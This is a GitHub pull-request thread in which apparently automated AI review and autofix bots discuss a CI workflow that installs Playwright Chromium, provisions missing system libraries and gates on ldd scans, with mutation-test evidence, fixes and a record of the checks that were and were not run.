  • npm ci moved below the install step → npx playwright resolves playwright@1.62.1 from the registry against the lockfile's 1.58.2 (measured) — browser-revision mismatch masked by continue-on-error.
  • RUNNER_TEMP/HOME/GITHUB_WORKSPACE overridden via step/job/workflow env: → the pinned commands no-op (serve-ab's wipe test pins exactly this env-shadow class at lines 352-359 of this file).
  • Install step moved below after_capture, or given continue-on-error: true → masked gate/empty preview.
  • mesa-libgbm or --skip-broken dropped from the provision → provisionable machine red at the post-rescan gate.

Witness: 17 mutants executed at commit 3363682: every one # pass 18 / # fail 0; runtime A/Bs under bash --noprofile --norc -eo pipefail as itemized above.

Suggested fix: run the non-apt branch under stubs asserting exit 0 (provisioned), exit 0 after a successful provision, and exit 1 with the missing list (unprovisionable); plus the fleet-precedented completeness pins sibling tests already carry: install-before-capture + no continue-on-error on the install step (clear-step shape), npm-ci-before-install ordering, absence of job-level continue-on-error (serve-ab wipe test), the env-shadow block (serve-ab test 352-359), the heal chmod (qwen-triage-workflow.test.mjs), and the full chromium_sys_deps assignment plus both --skip-broken flags.

Acceptance: once the execution-based assertions exist, delete any one pinned guard (e.g. the second missing='' reset) and confirm the suite turns red — today that mutant passes.

中文说明

R1-4:重写后的门禁接线测试仍然钉的是工作流文本而非行为——本轮实际执行了 13 个不同缺口上的 17 个单行变异,全部 18/18 绿灯,其中多个还有池车道故障的运行时 A/B 证据(代表性变异见上:最终守卫反转为 -z、删除第二个 missing='' 重置、去掉 ldd 赋值里的 || true、rescan 挪到 yum 之前、npm ci 挪到安装步骤之下、用 env: 覆盖 RUNNER_TEMP/HOME/GITHUB_WORKSPACE、安装步骤挪到 after_capture 之下或加 continue-on-error、从供给列表删 mesa-libgbm 或删 --skip-broken)。文本钉扎的变异面是无界的,逐个入口补钉不会收敛(第 1 轮正是这样报的,回应是更多文本钉扎,本轮又发现 13 处新缺口)。请从结构上收口:用 stub 的 ldd/find/npx/sudo/dnf/yum 实际执行非 apt 分支并断言退出码——本文件已为 pick_runner 测试实际执行过真实 shell(runPickRunner),R1-4 在第 1 轮就建议了这种方式。验收标准:执行式断言就位后,删除任一被钉守卫(如第二个 missing='' 重置),套件必须变红——今天该变异通过。

— qwen3.8-max via Qwen Code /review (v0.22.2)

Comment thread .github/workflows/.size-baseline Outdated
2307 web-shell-visuals-cleanup.yml
15380 web-shell-visuals-publish.yml
16384 web-shell-visuals.yml
21284 web-shell-visuals.yml

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Suggestion] The baseline entry this PR records is 2178 bytes below the file the same PR commits: web-shell-visuals.yml is 23462 bytes at HEAD, per-commit sizes 21284 (the bump commit) → 21921 → 23462. check-workflow-size.sh and its vitest mirror compare against recorded + 4096, so the ratchet passes today (23462 ≤ 25380) — but this PR has silently pre-consumed 2178 bytes of the allowance: the next PR growing this file by more than ~1918 bytes trips the gate and must reconcile a baseline this PR set stale — the exact 'unrelated PR pays for someone else's growth' friction the ratchet's header documents having red-walled the queue before.

Witness: git show HEAD:.github/workflows/web-shell-visuals.yml | wc -c23462; recorded entry 21284; the gate run against this PR tree exits 0 only because 23462 ≤ 21284+4096.

Suggested change
21284 web-shell-visuals.yml
23462 web-shell-visuals.yml

(regenerate with wc -c < .github/workflows/web-shell-visuals.yml).

中文说明

本 PR 记录的基线值比同一 PR 提交的文件小 2178 字节:HEAD 处 web-shell-visuals.yml23462 字节,逐提交尺寸为 21284(bump 提交)→ 21921 → 23462。check-workflow-size.sh 及其 vitest 镜像按 记录值 + 4096 比较,因此今天棘轮通过(23462 ≤ 25380)——但本 PR 已悄悄预支了 2178 字节额度:下一个把该文件再增大 ~1918 字节以上的 PR 会触发门禁,并被迫对齐一个被本 PR 设成过期值的基线——正是棘轮头部注释记载的'无关 PR 为别人的增长买单'摩擦。修复:把记录值更新为实际尺寸 23462 web-shell-visuals.yml

— qwen3.8-max via Qwen Code /review (v0.22.2)

Comment thread .github/workflows/web-shell-visuals.yml Outdated
Comment on lines +174 to +176
echo "::warning::could not install Chromium system dependencies; the library gate lists what still fails to resolve."
missing=''
while IFS= read -r bin; do

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Suggestion] This 7-line ldd/find scan loop is pasted twice in the step (first scan and rescan), and nothing asserts the copies stay identical — the suite pins the first copy's body and locates the rescan only by its find prefix, which survives any change to the loop body. Executed mutant narrowing the rescan to -name 'headless_shell' only: suite 18/18 green, and at runtime under GitHub's bash invocation the gate prints Chromium shared libraries all resolve on this runner. and exits 0 on a machine whose chrome libraries do not resolve — the mid-render crash this gate exists to prevent. The first-scan direction is symmetric (narrower first scan → provisioning skipped on a provisionable machine).

Suggested fix: define the scan once as a shell function in this same run: block and call it for both scans (one function, two call sites — proportionate for a workflow script); or, at minimum, assert the two loop bodies are identical in the routing suite.

Acceptance: with an equivalence assertion in place, narrow either copy's -name pattern without the other and confirm the suite turns red — today that mutant passes.

中文说明

这个 7 行 ldd/find 扫描循环在该步骤中被粘贴了两次(第一次扫描与 rescan),且没有任何断言保证两份拷贝保持一致——测试只钉住第一份循环体,并仅以 find 前缀定位 rescan(该前缀对循环体的任何改动都不敏感)。已执行变异:把 rescan 收窄为仅 -name 'headless_shell',套件 18/18 绿灯;运行时在 GitHub 的 bash 调用下,门禁会在 chrome 库未解析的机器上打印 'Chromium shared libraries all resolve on this runner.' 并以 0 退出——正是该门禁要防止的渲染中途崩溃。第一次扫描方向对称(更窄的第一次扫描 → 可供给机器上跳过供给)。修复:在同一 run: 块中把扫描定义为一次 shell 函数、两处调用(对工作流脚本而言并不过度);至少也应在路由套件中断言两个循环体完全相同。验收标准:等价断言就位后,单独收窄任一拷贝的 -name 模式,套件必须变红——今天该变异通过。

— qwen3.8-max via Qwen Code /review (v0.22.2)

@qwen-code-dev-bot

Copy link
Copy Markdown
Collaborator

🤖 Addressed the latest review feedback (round 3/100). What changed, and what I pushed back on: · 已处理最新评审反馈(第 3/100 轮)。改动内容与我反驳保留之处如下:

Autofix review response — round on PR #10087

All three inline findings were reproduced with probes first, then resolved in code. No finding was declined or deferred; no maintainer decision is pending. The five items listed under "Deferred under the convergence posture" in the review body were left untouched, as the review explicitly records them as not requested this round.

Findings and dispositions

[rc:3866537969] R1-4: the gate-wiring suite pins workflow text, not behavior — ACT (structural fix).
Reproduced: a member of the cited mutant family (rescan -name narrowed to headless_shell only) shipped 18/18 green against the committed suite, confirming text pins cannot bound the mutant surface. Closed it the way the finding proposed and the fleet already precedents (runPickRunner execs the real pick_runner shell): the two text-pin tests are replaced by an execution harness that runs the REAL Install Playwright Chromium step text under GitHub's default bash wrapper (--noprofile --norc -eo pipefail), with apt-get absent from PATH so the non-apt lane executes. npx/sudo/dnf/yum/ldd are stubs in a stub dir (with grep/sort/find symlinked from the host), the browser tree is a real tmp ${HOME}/.cache/ms-playwright, and machine state is a file the dnf/yum stubs write — the same side effect a real provision has. Three scenarios assert exit codes, stdout, and the recorded call log:

  • provisioned — exit 0, "all resolve" message, browser downloaded without --with-deps, no provisioning call;
  • provisionable — first scan missing → sudo -n dnf install -y --skip-broken with mesa-libgbm in the package list → rescan clean → exit 0, no yum;
  • unprovisionable — dnf and yum both fail → exit 1 with the concrete missing list and the ::error:: annotation.

Because the harness execs the whole branch, it behaviorally covers what many text pins chased: inverted gate, missing resets, || true removal, rescan-before-provision, swapped branch bodies (--with-deps would appear in the call log). The two text-pin tests (~90 lines) were deleted rather than kept alongside — the round shrinks the pin surface instead of growing it. What no isolated exec can see was kept as one compact wiring test (fleet-precedented shape): npm ci before the install step (lockfile Playwright, not a registry release with a different browser revision), install before the capture it serves, no continue-on-error at step or job level, the hosted apt lane's one line, and an env-shadow block (BASH_ENV/PATH/HOME/RUNNER_TEMP/GITHUB_WORKSPACE may not be overridden at step/job/workflow level). Not implemented from the suggested fix list: the heal chmod pin and the other four items the review itself deferred under the convergence posture.

[rc:3866537980] size-baseline entry 2178 bytes below the committed file — ACT.
Reproduced: wc -c < .github/workflows/web-shell-visuals.yml → 23462 at the round's start vs the recorded 21284; the gate passed only by pre-consuming the allowance. Regenerated the entry from the final file size after this round's workflow edit settled: 23375 web-shell-visuals.yml. Both the shell gate and its vitest mirror now compare against the true size.

[rc:3866538003] the 7-line ldd/find scan loop pasted twice with no equivalence guard — ACT.
Reproduced: narrowing the rescan's -name pattern alone left the suite 18/18 green (and would exit 0 at runtime on a machine whose chrome libraries don't resolve). Took the stronger of the two suggested options: the scan is now defined once as a scan_chromium_libs() shell function in the same run: block, called for both the first scan and the rescan — there are no two copies left to drift. The execution harness catches the narrowing mutant behaviorally (probe P3 below).

Mutation probes (witnesses for every guard this round adds)

Each mutant was applied, the suite run, then the file restored and re-run green:

Probe Mutant Result
P1 delete the missing='' reset inside the scan function (the finding's acceptance mutant) red — 17 pass / 3 fail
P2 invert the final gate to [ -z "${missing}" ] red — 17 pass / 3 fail
P3 narrow find to -name 'headless_shell' only (finding 3's acceptance mutant) red — 18 pass / 2 fail
P4 drop `
P5 delete the rescan call red — 19 pass / 1 fail
P6 add continue-on-error: true to the install step red — 19 pass / 1 fail
P7 stale baseline entry (100) size gate exit 1

After every restore: suite 20/20 green, size gate exit 0.

Changes

  • .github/workflows/web-shell-visuals.yml — the pasted scan loop is now one scan_chromium_libs() function with two call sites (net subtractive).
  • .github/scripts/ci-runner-routing.test.mjs — exec harness (hostToolPath, writeStub, runInstallStep) plus four tests replacing the two text-pin tests.
  • .github/workflows/.size-baseline2128423375 for web-shell-visuals.yml (exact current size).

No conflict resolution was needed (--conflict false); the branch was not merged with anything.

Verification

Commands actually run this round, in order:

  • node --test .github/scripts/ci-runner-routing.test.mjs20/20 pass (was 18; two text-pin tests replaced by four tests).
  • node --test over all 19 HELPER_TESTS files from ci.yml — 413/413 pass (no cross-file regression).
  • bash .github/scripts/check-workflow-size.shpass (exit 0; also proven to fail on a stale baseline via probe P7).
  • npx vitest run --config ./scripts/tests/vitest.config.ts workflow-size195/195 pass (the vitest mirror of the size ratchet).
  • Seven mutation probes (P1–P7 above) — every mutant red, every restore green.
  • npm run lintpass (exit 0).
  • npm run buildpass (exit 0).
  • npm run typecheckpass (exit 0).
  • Not run: yamllint — the binary is not installed on this self-hosted runner (node scripts/lint.js --yamllint skips with "yamllint: No such file or directory"). YAML validity was verified by parsing the edited workflow with the yaml library; CI's yamllint job remains the authoritative check.
  • Not run: integration tests after npm run bundle — the change is CI workflow text and helper tests, not behavior exercised through the bundled CLI.
中文说明

Autofix 审查回应 — PR #10087 本轮

三条行内发现全部先用探针复现,然后在代码中解决。没有拒绝或推迟任何发现;没有等待维护者决策的事项。审查正文中列在"收敛姿态下延后"的五条未做改动,因为审查已明确记录它们本轮不要求修改。

发现与处置

[rc:3866537969] R1-4:门禁接线测试钉的是工作流文本而非行为 — 处理(结构性修复)。
复现:所引变异家族的一个成员(把 rescan 的 -name 收窄为仅 headless_shell)在已提交的套件上 18/18 全绿,证实文本钉扎无法收敛变异面。按该发现建议、且舰队已有先例的方式收口(runPickRunner 就是实际执行真实的 pick_runner shell):两个文本钉扎测试被执行式测试台取代——在 GitHub 默认的 bash 包装(--noprofile --norc -eo pipefail)下、让 apt-get 不在 PATH 上从而走非 apt 车道,实际执行真实的 Install Playwright Chromium 步骤文本。npx/sudo/dnf/yum/ldd 是 stub 目录里的脚本(grep/sort/find 从宿主机软链接真实工具),浏览器目录树是真实的临时 ${HOME}/.cache/ms-playwright,机器状态是 dnf/yum stub 写入的状态文件——与真实供给产生的副作用一致。三个场景断言退出码、stdout 和记录的调用日志:

  • provisioned(已供给)— 退出 0,打印"全部解析"消息,下载浏览器且不带 --with-deps没有任何供给调用;
  • provisionable(可供给)— 首次扫描发现缺失 → 执行 sudo -n dnf install -y --skip-broken(包列表含 mesa-libgbm)→ rescan 干净 → 退出 0,未调用 yum
  • unprovisionable(无法供给)— dnf 与 yum 均失败 → 退出 1,输出具体缺失列表和 ::error:: 标注。

由于测试台实际执行整个分支,它以行为覆盖了许多文本钉扎追逐的东西:守卫反转为 -z、缺失重置、删除 || true、rescan 挪到供给之前、两个分支体互换(--with-deps 会出现在调用日志中)。两个文本钉扎测试(约 90 行)被删除而不是保留——本轮是缩小钉扎面而不是扩大它。孤立的执行看不到的东西保留为一个紧凑的接线测试(舰队先例形态):npm ci 在安装步骤之前(用锁文件的 Playwright,而不是浏览器版本不同的 registry 版本)、安装在其服务的捕获之前、步骤级与作业级都没有 continue-on-error、hosted apt 车道的那一行、以及 env 遮蔽块(步骤/作业/工作流级别不得覆盖 BASH_ENV/PATH/HOME/RUNNER_TEMP/GITHUB_WORKSPACE)。建议修复清单中未实现的是:heal chmod 钉扎,以及审查自身在收敛姿态下延后的另外四条。

[rc:3866537980] size-baseline 记录值比已提交文件小 2178 字节 — 处理。
复现:本轮开始时 wc -c < .github/workflows/web-shell-visuals.yml → 23462,而记录值为 21284;门禁只是因为预支了额度才通过。在本轮工作流编辑定型后按最终文件大小重新生成该条目:23375 web-shell-visuals.yml。shell 门禁及其 vitest 镜像现在都对照真实尺寸比较。

[rc:3866538003] 7 行 ldd/find 扫描循环被粘贴两次且无等价守卫 — 处理。
复现:单独收窄 rescan 的 -name 模式,套件仍 18/18 全绿(运行时会在 chrome 库无法解析的机器上以 0 退出)。采用两个建议方案中更强的一个:扫描现在在同一个 run: 块中只定义一次scan_chromium_libs() shell 函数,首次扫描与 rescan 各调用一次——不再存在两份可能漂移的拷贝。执行式测试台以行为捕获收窄变异(见下方探针 P3)。

变异探针(本轮新增每个守卫的见证)

对每个变异:应用变异 → 运行套件 → 恢复文件 → 再次运行至绿:

探针 变异 结果
P1 删除扫描函数内的 missing='' 重置(该发现的验收变异) — 17 过 / 3 败
P2 把最终守卫反转为 [ -z "${missing}" ] — 17 过 / 3 败
P3 find 收窄为仅 -name 'headless_shell'(发现 3 的验收变异) — 18 过 / 2 败
P4 去掉 ldd 管道中的 `
P5 删除 rescan 调用 — 19 过 / 1 败
P6 给安装步骤加 continue-on-error: true — 19 过 / 1 败
P7 过期基线条目(100 尺寸门禁 退出 1

每次恢复后:套件 20/20 全绿,尺寸门禁退出 0。

变更内容

  • .github/workflows/web-shell-visuals.yml — 粘贴的扫描循环变为一个 scan_chromium_libs() 函数、两处调用(净减少代码)。
  • .github/scripts/ci-runner-routing.test.mjs — 执行式测试台(hostToolPathwriteStubrunInstallStep)加四个测试,取代两个文本钉扎测试。
  • .github/workflows/.size-baselineweb-shell-visuals.yml2128423375(当前精确尺寸)。

无需冲突解决(--conflict false);分支未与任何分支合并。

验证

本轮实际运行的命令,按顺序:

  • node --test .github/scripts/ci-runner-routing.test.mjs20/20 通过(原为 18;两个文本钉扎测试被四个测试取代)。
  • 对 ci.yml 中全部 19 个 HELPER_TESTS 文件运行 node --test413/413 通过(无跨文件回归)。
  • bash .github/scripts/check-workflow-size.sh通过(退出 0;探针 P7 已证明过期基线会使其失败)。
  • npx vitest run --config ./scripts/tests/vitest.config.ts workflow-size195/195 通过(尺寸棘轮的 vitest 镜像)。
  • 七个变异探针(上方 P1–P7)— 每个变异都红,每次恢复都绿。
  • npm run lint通过(退出 0)。
  • npm run build通过(退出 0)。
  • npm run typecheck通过(退出 0)。
  • 未运行:yamllint — 该二进制未安装在此自托管 runner 上(node scripts/lint.js --yamllint 以"yamllint: No such file or directory"跳过)。已用 yaml 库解析编辑后的工作流验证 YAML 有效性;CI 的 yamllint 作业仍是权威检查。
  • 未运行:npm run bundle 后的集成测试 — 本次变更是 CI 工作流文本与辅助测试,不是通过打包 CLI 行使的行为。

Base-conflict check · 基分支冲突检查: no conflict with main. · 与 main 无冲突。

Re-review when you have a moment. After round 100 this bot stops and leaves the PR for a human. · 有空请复审;第 100 轮后本 bot 停止并将 PR 交给人工。


🧠 Handled by Qwen Code · model/模型 qwen3.8-max

@qwen-code-ci-bot

Copy link
Copy Markdown
Collaborator

Qwen Code review did not complete successfully. The review pipeline failed before a review could be posted. A transient error is retried automatically; if you are seeing this, retry with @qwen-code /review. See workflow logs.

@qwen-code-dev-bot

Copy link
Copy Markdown
Collaborator

🔀 Base updated: red check(s) [review-pr] pass on current main — merged current main via update-branch; CI will re-run.

中文说明

🔀 已更新 base:红色检查 [review-pr] 在当前 main 上通过 —— 已通过 update-branch 合入当前 main,CI 将重新运行。

@qwen-code-ci-bot qwen-code-ci-bot left a comment

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

3 Suggestion-level finding(s) this review confirmed are already reported on this PR and are not repeated:

  • R3-7 header drops serve-ab's 'association clause is routing convenience' caveat — already reported (round-2 deferred list, review 5034865117)
  • R3-8 'Install ffmpeg' step unpinned — already reported (round-2 deferred list, review 5034865117)
  • R3-9 'Configure persistent npm cache' step unpinned — already reported (round-2 deferred list, review 5034865117)

Not linted (tool limitation, not a blocker): the executable-script lint — .github/workflows/web-shell-visuals.yml: actionlint embedded-shell source mapping is not yet supported — not linted.

Deferred under the convergence posture (round 3, not a blocker) — recorded, not requested in this round:

  • .github/workflows/web-shell-visuals.yml:88 — [review] pool pre-flight blocks pasted from ci.yml/serve-ab with no…
  • .github/workflows/web-shell-visuals.yml:177 — [review] dnf/yum provisioning discards all output; gate failure…

Convergence: round 3 posted 3 inline comment(s), 3 of them reported for the first time; the previous round posted 3 (2 new). Findings keep coming back to the same files: .github/workflows/web-shell-visuals.yml (findings in round 2; 2 more now); .github/scripts/ci-runner-routing.test.mjs (findings in round 1; 1 more now). The rate of new findings is not falling. A cluster that keeps producing siblings usually means the fixes are treating instances of a shared root cause — triaging that cause before the next round, or splitting an independent cluster into its own pull request, tends to end the loop faster than fixing them one at a time. Batching the remaining fixes and verifying them before the next push, or dropping this PR's reviews to --severity-floor critical, keeps the loop from re-deriving the same set. (Observation only — nothing was withheld from this review because of this observation.)

中文说明

本轮确认的 3 条建议级发现已在 PR 上报告过,不再重复发布(列表见上方英文部分)。

未检查(工具限制,非阻断):the executable-script lint — .github/workflows/web-shell-visuals.yml: actionlint embedded-shell source mapping is not yet supported — not linted。

收敛姿态下延后(第 3 轮,非阻断)——已记录,本轮不要求修改:共 2 条(原文未翻译,列表见上方英文部分)。

收敛情况:第 3 轮发布了 3 条行内评论,其中 3 条是首次提出;上一轮发布了 3 条(其中 2 条首次提出)。发现反复回到同一批文件:.github/workflows/web-shell-visuals.yml(第 2 轮已出过发现,本轮又有 2 条);.github/scripts/ci-runner-routing.test.mjs(第 1 轮已出过发现,本轮又有 1 条)。新发现的产出速度没有下降。一个不断再生兄弟发现的簇,通常意味着逐条修复只在处理同一根因的实例——先定位并处理该根因,或把独立的簇拆成单独的 PR,通常比逐条修复更快结束循环。把剩余修复攒成一批、验证后再推送,或将本 PR 的评审降到 --severity-floor critical,可以避免循环反复推导同一组发现。(仅为观察——本轮评审未因此扣留任何内容。)

— qwen3.8-max via Qwen Code /review (v0.22.2)

Comment thread .github/workflows/web-shell-visuals.yml Outdated
Comment on lines +154 to +155
if command -v apt-get > /dev/null 2>&1; then
npx playwright install --with-deps chromium

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Critical] The command -v apt-get lane probe assumes the ecs-qwen pool is uniformly RHEL-family, but the pool also has Ubuntu 24.04 members that ship /usr/bin/apt-get while granting NOPASSWD sudo for only two npm/rm commands (sudo -n -l verified on a live pool member). Those members take the --with-deps branch, whose internal sudo apt-get dies asking for a password, and the dnf/yum provisioning + ldd gate lane this PR built is unreachable on the failing path. This is not hypothetical: this PR's own CI run at the reviewed HEAD fails right here — run 33022864520 (head 2589f04b, self-hosted lane) died in this step, while sibling run 32991331989 on the same lane succeeded — dispatch-dependent red that takes trusted-lane previews down intermittently, with no degraded path and no provisioning annotation.

PR run 33022864520 @2589f04b (self-hosted lane), step 'Install Playwright Chromium':
Switching to root user to install dependencies...
sudo: a terminal is required to read the password...
sudo: a password is required
Failed to install browsers
##[error]Process completed with exit code 1.
sibling run 32991331989 on the same lane: success

Probe of the real step text (stubbed npx/sudo/apt-get, self-hosted, password-gated sudo, libs resolvable): unmodified step exits 1 with ["npx playwright install --with-deps chromium", "sudo apt-get install -y libnss3"]; with the hosted-gated fix below it exits 0 via npx playwright install chromium + "Chromium shared libraries all resolve on this runner."

Keep --with-deps for the hosted lane only (it has passwordless sudo), run every self-hosted member through the browser-only install + scan_chromium_libs gate regardless of distro, and add a Debian arm to the best-effort provisioning chain ahead of dnf/yum:

if [ "${RUNNER_ENVIRONMENT}" = "github-hosted" ] && command -v apt-get > /dev/null 2>&1; then
  npx playwright install --with-deps chromium
else
  # ... existing non-apt lane, with a Debian provisioning arm added:
  # sudo -n apt-get install -y libnss3 libnspr4 libatk1.0-0 libatk-bridge2.0-0 \
  #   libcups2 libdbus-1-3 libexpat1 libglib2.0-0 libx11-6 libxcomposite1 \
  #   libxdamage1 libxext6 libxfixes3 libxrandr2 libdrm2 libxcb1 libxkbcommon0 \
  #   libgbm1 libasound2 libpango-1.0-0 libcairo2 ||
  # sudo -n dnf install ... || sudo -n yum install ... || echo "::warning::..."
fi

Fix witness: a Debian-family pool machine state in runInstallStep (apt-get stub present, RUNNER_ENVIRONMENT=self-hosted, resolvable libs) asserting exit 0 and no --with-deps call — removing the lane split must turn it red.

中文说明

command -v apt-get 车道探针假定 ecs-qwen 池全部是 RHEL 系,但池中也有 Ubuntu 24.04 成员:自带 /usr/bin/apt-get,而 NOPASSWD sudo 仅授予两条 npm/rm 命令(已在存活池成员上用 sudo -n -l 验证)。这些成员会走入 --with-deps 分支,其内部的 sudo apt-get 因索要密码而失败,且本 PR 构建的 dnf/yum 供给 + ldd 门禁车道在失败路径上不可达。这并非假想:本 PR 自己在受审 HEAD 上的 CI 运行正是在此失败——运行 33022864520(head 2589f04b,自持车道)死于该步骤,而同车道的兄弟运行 32991331989 成功——依赖派发的间歇性红,可信车道的预览随之时有时无,且无降级路径、无供给注解。建议:--with-deps 仅保留给托管车道(其有无密码 sudo),所有自持成员无论发行版一律走仅下载浏览器 + scan_chromium_libs 门禁,并在 dnf/yum 之前补一条 Debian 系的尽力供给臂。修复见证:在 runInstallStep 中新增 Debian 系池机器状态(apt-get stub、RUNNER_ENVIRONMENT=self-hosted、库可解析),断言退出码 0 且无 --with-deps 调用;去掉车道拆分该测试必须变红。

— qwen3.8-max via Qwen Code /review (v0.22.2)

Comment thread .github/workflows/web-shell-visuals.yml Outdated
if [ -n "${unresolved}" ]; then
missing="${missing}${unresolved}"$'\n'
fi
done < <(find "${HOME}/.cache/ms-playwright" -type f \( -name 'headless_shell' -o -name 'chrome' \) 2>/dev/null)

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Suggestion] The library gate decides on missing alone, so a scan that matches zero binaries passes vacuously: when find over ${HOME}/.cache/ms-playwright yields nothing (a machine-level PLAYWRIGHT_BROWSERS_PATH redirect, or a Playwright revision renaming chrome/headless_shell), missing stays empty and the step exits 0 printing "Chromium shared libraries all resolve on this runner." having checked zero libraries. Proven by executing this very step: with the install stubbed to exit 0 and an empty browser tree the gate prints the success line and exits 0; the render then dies later at browser launch, and after_capture's continue-on-error: true converts it into a degraded "render incomplete" preview behind a misleading "libs resolve" log — losing exactly the early, actionable provisioning signal the gate exists to provide. The fleet already rejects this shape elsewhere (qwen-triage.yml's Playwright check requires both halves for exactly this reason).

# count what the scan examines and refuse to judge nothing:
scanned=$((scanned + 1))   # inside the while loop of scan_chromium_libs
# ...and after each scan, before the success echo:
if [ "${scanned:-0}" -eq 0 ]; then
  echo "::error::no Chromium binaries found under ${HOME}/.cache/ms-playwright — install location moved?"
  exit 1
fi

Fix witness: a runInstallStep machine state with no browser files under the fake HOME asserting exit 1 and the zero-binaries error — removing the guard returns it to exit 0.

中文说明

库门禁只根据 missing 裁决,因此零二进制的扫描会空泛通过:当 find${HOME}/.cache/ms-playwright 下什么都没找到时(机器级 PLAYWRIGHT_BROWSERS_PATH 重定向,或 Playwright 版本重命名 chrome/headless_shell),missing 保持为空,步骤以 "Chromium shared libraries all resolve on this runner." 退出 0——实际一个库都没检查。已对该步骤原文实际执行验证:安装 stub 退出 0 且浏览器目录为空时,门禁打印成功行并退出 0;渲染随后在浏览器启动时死亡,after_capturecontinue-on-error: true 把它降级为 "render incomplete" 的残缺预览,日志里还留着误导性的 "libs resolve"——恰好丢掉了门禁本要提供的早期、可操作的供给信号。建议:在 scan_chromium_libs 循环内计数 scanned,扫描数为 0 时在成功回显前 exit 1 并给出 ::error::。修复见证:新增无浏览器文件的 runInstallStep 机器状态,断言退出码 1 与零二进制错误;去掉该守卫其必须回到退出 0。

— qwen3.8-max via Qwen Code /review (v0.22.2)

// clear, GITHUB_WORKSPACE the heal, PATH/BASH_ENV re-resolve (or
// pre-load) every command.
for (const envMap of [
steps[install].env,

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Suggestion] R1-4: (fix-induced) the env-override loop the round-2 fix (e7e28e1) added claims in its own comment to pin HOME (the library scan), RUNNER_TEMP ("the stale clear") and GITHUB_WORKSPACE ("the heal") — but the step-level leg inspects only the install step's env map. The 'Clear stale capture dirs' and 'Restore workspace ownership' steps' own env maps are never checked, so the mutation "add env: {RUNNER_TEMP: '/somewhere/else'} to the clear step" — redirecting the very rm -rf the comment says RUNNER_TEMP pins — ships 20/20 green (executed). The sibling precedent does check the pinned step itself: the serve-ab wipe test iterates [wipe.env, serveAbDoc.jobs.ab.env, serveAbDoc.env].

Folded sibling of the same family (also executed): the stub ldd reports missing libs only for paths matching *chrome*, while the fixture's headless_shell sits under chromium-1187/ (no chrome substring) — so deleting -o -name 'headless_shell' from the workflow's find ships the suite green; that arm is pinned by nothing.

for (const envMap of [
  steps[install].env,
  steps[clear].env,   // locate 'Clear stale capture dirs' by index, as sibling tests do
  steps[heal].env,    // locate 'Restore workspace ownership' the same way
  visualsCaptureJob.env,
  visualsDoc.env,
]) {

and make the stub ldd report a distinct missing lib for *headless_shell* paths, asserting both names appear in the unprovisionable machine's missing list.

Fix witness: after the fix, adding env: {RUNNER_TEMP: x} to the clear step (or GITHUB_WORKSPACE to the heal step) in web-shell-visuals.yml must turn this test red, and dropping the headless_shell arm from the workflow find must turn the strengthened unprovisionable assertion red.

中文说明

R1-4:(修复引入)第 2 轮修复(e7e28e12)新增的 env 覆盖循环,其注释自称钉扎 HOME(库扫描)、RUNNER_TEMP("the stale clear")与 GITHUB_WORKSPACE("the heal")——但步骤级检查只看 install 步骤的 env 映射。'Clear stale capture dirs''Restore workspace ownership' 两步自身的 env 映射从未被检查,因此变异"给 clear 步骤加 env: {RUNNER_TEMP: '/somewhere/else'}"——正是重定向注释所称由 RUNNER_TEMP 钉扎的那条 rm -rf——实际执行后 20/20 全绿。同文件的先例检查的是被钉扎步骤本身:serve-ab wipe 测试遍历 [wipe.env, serveAbDoc.jobs.ab.env, serveAbDoc.env]。同族的另一折叠成员(亦已执行):stub ldd 仅对匹配 *chrome* 的路径报告缺库,而夹具的 headless_shell 位于 chromium-1187/(不含 chrome 子串)——删除 workflow find 中的 -o -name 'headless_shell' 臂后套件依旧全绿,该臂没有任何钉扎。修复:把 clear/heal 两步的 env 映射并入循环,并让 stub ldd 对 *headless_shell* 路径报告一个不同的缺失库名。修复见证:修复后,给 clear 步骤加 env: {RUNNER_TEMP: x}(或给 heal 步骤加 GITHUB_WORKSPACE)必须令本测试变红;删除 workflow find 的 headless_shell 臂必须令强化后的不可供给断言变红。

— qwen3.8-max via Qwen Code /review (v0.22.2)

…capture-ecs

# Conflicts:
#	.github/scripts/ci-runner-routing.test.mjs
@wenshao

wenshao commented Aug 27, 2026

Copy link
Copy Markdown
Collaborator Author

@qwen-code /resolve

…#10087)

The pool is not uniformly RHEL-family: its Ubuntu members ship
/usr/bin/apt-get while their NOPASSWD sudo is allowlisted to two npm/rm
commands, so the bare `command -v apt-get` probe sent them into the
--with-deps branch and its internal sudo apt-get died on the password
prompt. Run 33022864520 failed exactly there while a sibling run on the
same lane succeeded — dispatch-dependent red with no degraded path.
Keep --with-deps for the hosted lane only (RUNNER_ENVIRONMENT gates it,
hosted images grant passwordless sudo), run every pool member through
the download-only lane regardless of distro, and lead the best-effort
provisioning chain with an apt-get arm for the Debian-family members
ahead of dnf/yum.

Also refuse a vacuous gate: the library check judged `missing` alone,
so a scan that matched zero binaries (a machine-level
PLAYWRIGHT_BROWSERS_PATH redirect, or a Playwright revision renaming
chrome/headless_shell) exited 0 with "all resolve" having checked
nothing, postponing the crash to browser launch behind after_capture's
continue-on-error. Count what the scan examines and fail with an
::error:: when it examined nothing.

The routing suite exec-tests both: a Debian-family pool member (apt-get
stub, RUNNER_ENVIRONMENT=self-hosted, resolvable libs) passes without
ever taking --with-deps; a Debian machine with missing libs is fixed
through the apt arm before dnf/yum; an empty browser tree fails the
gate. The env-override loop now reads the clear/heal steps' own env
maps — a step-level RUNNER_TEMP override on the clear step used to ship
green — and the stub ldd reports a distinct missing lib for
headless_shell paths so the find's headless_shell arm is pinned. Seven
executed mutations (reverting the lane split, dropping the apt arm,
dropping the zero-binary guard, step-level RUNNER_TEMP/GITHUB_WORKSPACE
overrides, dropping the headless_shell arm, inverting the gate) all
turn the suite red; restoring them returns it to green.

@qwen-code-ci-bot qwen-code-ci-bot left a comment

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

2 Suggestion-level finding(s) this review confirmed are already reported on this PR and are not repeated:

  • R5-6 ffmpeg comment re-asserts the disproved uniform-RHEL premise — already reported (round-4 deferred list, review 5037369574)
